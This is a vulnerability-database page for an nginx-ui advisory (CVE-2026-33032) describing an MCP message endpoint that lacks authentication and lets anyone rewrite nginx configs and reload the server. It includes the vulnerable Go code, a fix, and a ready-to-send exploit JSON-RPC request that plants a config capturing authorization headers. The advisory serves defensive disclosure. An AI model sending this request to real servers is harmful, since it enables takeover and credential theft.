GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

GHSA-H6C2-X2M2-MWHF

Vulnerability from github – Published: 2026-03-30 16:43 – Updated: 2026-04-27 14:19
VLAI
Summary
nginx-ui's Unauthenticated MCP Endpoint Allows Remote Nginx Takeover
Details

Summary

The nginx-ui MCP (Model Context Protocol) integration exposes two HTTP endpoints: /mcp and /mcp_message. While /mcp requires both IP whitelisting and authentication (AuthRequired() middleware), the /mcp_message endpoint only applies IP whitelisting - and the default IP whitelist is empty, which the middleware treats as "allow all". This means any network attacker can invoke all MCP tools without authentication, including restarting nginx, creating/modifying/deleting nginx configuration files, and triggering automatic config reloads - achieving complete nginx service takeover.

Details

Vulnerable Code

mcp/router.go:9-17 - Auth asymmetry between endpoints

func InitRouter(r *gin.Engine) {
    r.Any("/mcp", middleware.IPWhiteList(), middleware.AuthRequired(),
        func(c *gin.Context) {
            mcp.ServeHTTP(c)
        })
    r.Any("/mcp_message", middleware.IPWhiteList(),
        func(c *gin.Context) {
            mcp.ServeHTTP(c)
        })
}

The /mcp endpoint has middleware.AuthRequired(), but /mcp_message does not. Both endpoints route to the same mcp.ServeHTTP() handler, which processes all MCP tool invocations.

internal/middleware/ip_whitelist.go:11-26 - Empty whitelist allows all

func IPWhiteList() gin.HandlerFunc {
    return func(c *gin.Context) {
        clientIP := c.ClientIP()
        if len(settings.AuthSettings.IPWhiteList) == 0 || clientIP == "" || clientIP == "127.0.0.1" || clientIP == "::1" {
            c.Next()
            return
        }
        // ...
    }
}

When IPWhiteList is empty (the default - settings/auth.go initializes Auth{} with no whitelist), the middleware allows all requests through. This is a fail-open design.

Available MCP Tools (all invocable without auth)

From mcp/nginx/: - restart_nginx - restart the nginx process - reload_nginx - reload nginx configuration - nginx_status - read nginx status

From mcp/config/: - nginx_config_add - create new nginx config files - nginx_config_modify - modify existing config files - nginx_config_list - list all configurations - nginx_config_get - read config file contents - nginx_config_enable - enable/disable sites - nginx_config_rename - rename config files - nginx_config_mkdir - create directories - nginx_config_history - view config history - nginx_config_base_path - get nginx config directory path

Attack Scenario

  1. Attacker sends HTTP requests to http://target:9000/mcp_message (default port)
  2. No authentication is required - IP whitelist is empty by default
  3. Attacker invokes nginx_config_modify with relative_path="nginx.conf" to rewrite the main nginx configuration (e.g., inject a reverse proxy that logs Authorization headers)
  4. nginx_config_add auto-reloads nginx (config_add.go:74), or attacker calls reload_nginx directly
  5. All traffic through nginx is now under attacker control - requests intercepted, redirected, or denied

PoC

1. The auth asymmetry is visible by comparing the two route registrations in mcp/router.go:

// Line 10 - /mcp requires auth:
r.Any("/mcp", middleware.IPWhiteList(), middleware.AuthRequired(), func(c *gin.Context) { mcp.ServeHTTP(c) })

// Line 14 - /mcp_message does NOT:
r.Any("/mcp_message", middleware.IPWhiteList(), func(c *gin.Context) { mcp.ServeHTTP(c) })

Both call the same mcp.ServeHTTP(c) handler, which dispatches all tool invocations.

2. The IP whitelist defaults to empty, allowing all IPs. From settings/auth.go:

var AuthSettings = &Auth{
    BanThresholdMinutes: 10,
    MaxAttempts:         10,
    // IPWhiteList is not initialized - defaults to nil/empty slice
}

And the middleware at internal/middleware/ip_whitelist.go:14 passes all requests when the list is empty:

if len(settings.AuthSettings.IPWhiteList) == 0 || clientIP == "" || clientIP == "127.0.0.1" || clientIP == "::1" {
    c.Next()
    return
}

3. Config writes auto-reload nginx. From mcp/config/config_add.go:

err := os.WriteFile(path, []byte(content), 0644)  // Line 69: write config file
// ...
res := nginx.Control(nginx.Reload)                 // Line 74: immediate reload

4. Exploit request. An attacker with network access to port 9000 can invoke any MCP tool via the SSE message endpoint. For example, to create a malicious nginx config that logs authorization headers:

POST /mcp_message HTTP/1.1
Content-Type: application/json

{
  "jsonrpc": "2.0",
  "method": "tools/call",
  "params": {
    "name": "nginx_config_add",
    "arguments": {
      "name": "evil.conf",
      "content": "server { listen 8443; location / { proxy_pass http://127.0.0.1:9000; access_log /etc/nginx/conf.d/tokens.log; } }",
      "base_dir": "conf.d",
      "overwrite": true,
      "sync_node_ids": []
    }
  },
  "id": 1
}

No Authorization header is needed. The config is written and nginx reloads immediately.

Impact

  • Complete nginx service takeover: An unauthenticated attacker can create, modify, and delete any nginx configuration file within the config directory, then trigger immediate reload/restart
  • Traffic interception: Attacker can rewrite server blocks to proxy all traffic through an attacker-controlled endpoint, capturing credentials, session tokens, and sensitive data in transit
  • Service disruption: Writing an invalid config and triggering reload takes nginx offline, affecting all proxied services
  • Configuration exfiltration: All existing nginx configs are readable via nginx_config_get, revealing backend topology, upstream servers, TLS certificate paths, and authentication headers
  • Credential harvesting: By injecting access_log directives with custom log_format patterns, the attacker can capture Authorization headers from administrators accessing nginx-ui, enabling escalation to the REST API

Remediation

Add middleware.AuthRequired() to the /mcp_message route:

r.Any("/mcp_message", middleware.IPWhiteList(), middleware.AuthRequired(),
    func(c *gin.Context) {
        mcp.ServeHTTP(c)
    })

Additionally, consider changing the IP whitelist default behavior to deny-all when unconfigured, rather than allow-all.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/0xJacky/Nginx-UI"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.99"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33032"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-30T16:43:13Z",
    "nvd_published_at": "2026-03-30T18:16:19Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\nThe nginx-ui MCP (Model Context Protocol) integration exposes two HTTP endpoints: `/mcp` and `/mcp_message`. While `/mcp` requires both IP whitelisting and authentication (`AuthRequired()` middleware), the `/mcp_message` endpoint only applies IP whitelisting - and the default IP whitelist is empty, which the middleware treats as \"allow all\". This means any network attacker can invoke all MCP tools without authentication, including restarting nginx, creating/modifying/deleting nginx configuration files, and triggering automatic config reloads - achieving complete nginx service takeover.\n\n### Details\n#### Vulnerable Code\n\n**`mcp/router.go:9-17` - Auth asymmetry between endpoints**\n\n```go\nfunc InitRouter(r *gin.Engine) {\n\tr.Any(\"/mcp\", middleware.IPWhiteList(), middleware.AuthRequired(),\n\t\tfunc(c *gin.Context) {\n\t\t\tmcp.ServeHTTP(c)\n\t\t})\n\tr.Any(\"/mcp_message\", middleware.IPWhiteList(),\n\t\tfunc(c *gin.Context) {\n\t\t\tmcp.ServeHTTP(c)\n\t\t})\n}\n```\n\nThe `/mcp` endpoint has `middleware.AuthRequired()`, but `/mcp_message` does not. Both endpoints route to the same `mcp.ServeHTTP()` handler, which processes all MCP tool invocations.\n\n**`internal/middleware/ip_whitelist.go:11-26` - Empty whitelist allows all**\n\n```go\nfunc IPWhiteList() gin.HandlerFunc {\n\treturn func(c *gin.Context) {\n\t\tclientIP := c.ClientIP()\n\t\tif len(settings.AuthSettings.IPWhiteList) == 0 || clientIP == \"\" || clientIP == \"127.0.0.1\" || clientIP == \"::1\" {\n\t\t\tc.Next()\n\t\t\treturn\n\t\t}\n\t\t// ...\n\t}\n}\n```\n\nWhen `IPWhiteList` is empty (the default - `settings/auth.go` initializes `Auth{}` with no whitelist), the middleware allows all requests through. This is a fail-open design.\n\n#### Available MCP Tools (all invocable without auth)\n\nFrom `mcp/nginx/`:\n- `restart_nginx` - restart the nginx process\n- `reload_nginx` - reload nginx configuration\n- `nginx_status` - read nginx status\n\nFrom `mcp/config/`:\n- `nginx_config_add` - create new nginx config files\n- `nginx_config_modify` - modify existing config files\n- `nginx_config_list` - list all configurations\n- `nginx_config_get` - read config file contents\n- `nginx_config_enable` - enable/disable sites\n- `nginx_config_rename` - rename config files\n- `nginx_config_mkdir` - create directories\n- `nginx_config_history` - view config history\n- `nginx_config_base_path` - get nginx config directory path\n\n#### Attack Scenario\n\n1. Attacker sends HTTP requests to `http://target:9000/mcp_message` (default port)\n2. No authentication is required - IP whitelist is empty by default\n3. Attacker invokes `nginx_config_modify` with `relative_path=\"nginx.conf\"` to rewrite the main nginx configuration (e.g., inject a reverse proxy that logs `Authorization` headers)\n4. `nginx_config_add` auto-reloads nginx (`config_add.go:74`), or attacker calls `reload_nginx` directly\n5. All traffic through nginx is now under attacker control - requests intercepted, redirected, or denied\n\n\n### PoC\n**1. The auth asymmetry** is visible by comparing the two route registrations in `mcp/router.go`:\n\n```go\n// Line 10 - /mcp requires auth:\nr.Any(\"/mcp\", middleware.IPWhiteList(), middleware.AuthRequired(), func(c *gin.Context) { mcp.ServeHTTP(c) })\n\n// Line 14 - /mcp_message does NOT:\nr.Any(\"/mcp_message\", middleware.IPWhiteList(), func(c *gin.Context) { mcp.ServeHTTP(c) })\n```\n\nBoth call the same `mcp.ServeHTTP(c)` handler, which dispatches all tool invocations.\n\n**2. The IP whitelist defaults to empty**, allowing all IPs. From `settings/auth.go`:\n\n```go\nvar AuthSettings = \u0026Auth{\n    BanThresholdMinutes: 10,\n    MaxAttempts:         10,\n    // IPWhiteList is not initialized - defaults to nil/empty slice\n}\n```\n\nAnd the middleware at `internal/middleware/ip_whitelist.go:14` passes all requests when the list is empty:\n\n```go\nif len(settings.AuthSettings.IPWhiteList) == 0 || clientIP == \"\" || clientIP == \"127.0.0.1\" || clientIP == \"::1\" {\n    c.Next()\n    return\n}\n```\n\n**3. Config writes auto-reload nginx.** From `mcp/config/config_add.go`:\n\n```go\nerr := os.WriteFile(path, []byte(content), 0644)  // Line 69: write config file\n// ...\nres := nginx.Control(nginx.Reload)                 // Line 74: immediate reload\n```\n\n**4. Exploit request.** An attacker with network access to port 9000 can invoke any MCP tool via the SSE message endpoint. For example, to create a malicious nginx config that logs authorization headers:\n\n```http\nPOST /mcp_message HTTP/1.1\nContent-Type: application/json\n\n{\n  \"jsonrpc\": \"2.0\",\n  \"method\": \"tools/call\",\n  \"params\": {\n    \"name\": \"nginx_config_add\",\n    \"arguments\": {\n      \"name\": \"evil.conf\",\n      \"content\": \"server { listen 8443; location / { proxy_pass http://127.0.0.1:9000; access_log /etc/nginx/conf.d/tokens.log; } }\",\n      \"base_dir\": \"conf.d\",\n      \"overwrite\": true,\n      \"sync_node_ids\": []\n    }\n  },\n  \"id\": 1\n}\n```\n\nNo `Authorization` header is needed. The config is written and nginx reloads immediately.\n\n### Impact\n- **Complete nginx service takeover**: An unauthenticated attacker can create, modify, and delete any nginx configuration file within the config directory, then trigger immediate reload/restart\n- **Traffic interception**: Attacker can rewrite server blocks to proxy all traffic through an attacker-controlled endpoint, capturing credentials, session tokens, and sensitive data in transit\n- **Service disruption**: Writing an invalid config and triggering reload takes nginx offline, affecting all proxied services\n- **Configuration exfiltration**: All existing nginx configs are readable via `nginx_config_get`, revealing backend topology, upstream servers, TLS certificate paths, and authentication headers\n- **Credential harvesting**: By injecting `access_log` directives with custom `log_format` patterns, the attacker can capture `Authorization` headers from administrators accessing nginx-ui, enabling escalation to the REST API\n\n### Remediation\n\nAdd `middleware.AuthRequired()` to the `/mcp_message` route:\n\n```go\nr.Any(\"/mcp_message\", middleware.IPWhiteList(), middleware.AuthRequired(),\n    func(c *gin.Context) {\n        mcp.ServeHTTP(c)\n    })\n```\n\nAdditionally, consider changing the IP whitelist default behavior to deny-all when unconfigured, rather than allow-all.",
  "id": "GHSA-h6c2-x2m2-mwhf",
  "modified": "2026-04-27T14:19:19Z",
  "published": "2026-03-30T16:43:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-h6c2-x2m2-mwhf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33032"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/0xJacky/nginx-ui"
    },
    {
      "type": "WEB",
      "url": "https://github.com/0xJacky/nginx-ui/blob/f89f8ff8223478988f7ed49bf1d3dbf2de44bf92/internal/middleware/ip_whitelist.go#L11-L26"
    },
    {
      "type": "WEB",
      "url": "https://github.com/0xJacky/nginx-ui/blob/f89f8ff8223478988f7ed49bf1d3dbf2de44bf92/mcp/router.go#L9-L17"
    },
    {
      "type": "WEB",
      "url": "https://websec.net/blog/cve-2026-33032-unauthenticated-nginx-ui-mcp-takeover-69e1200f9fceb1f3fbe9c47f"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "nginx-ui\u0027s Unauthenticated MCP Endpoint Allows Remote Nginx Takeover"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…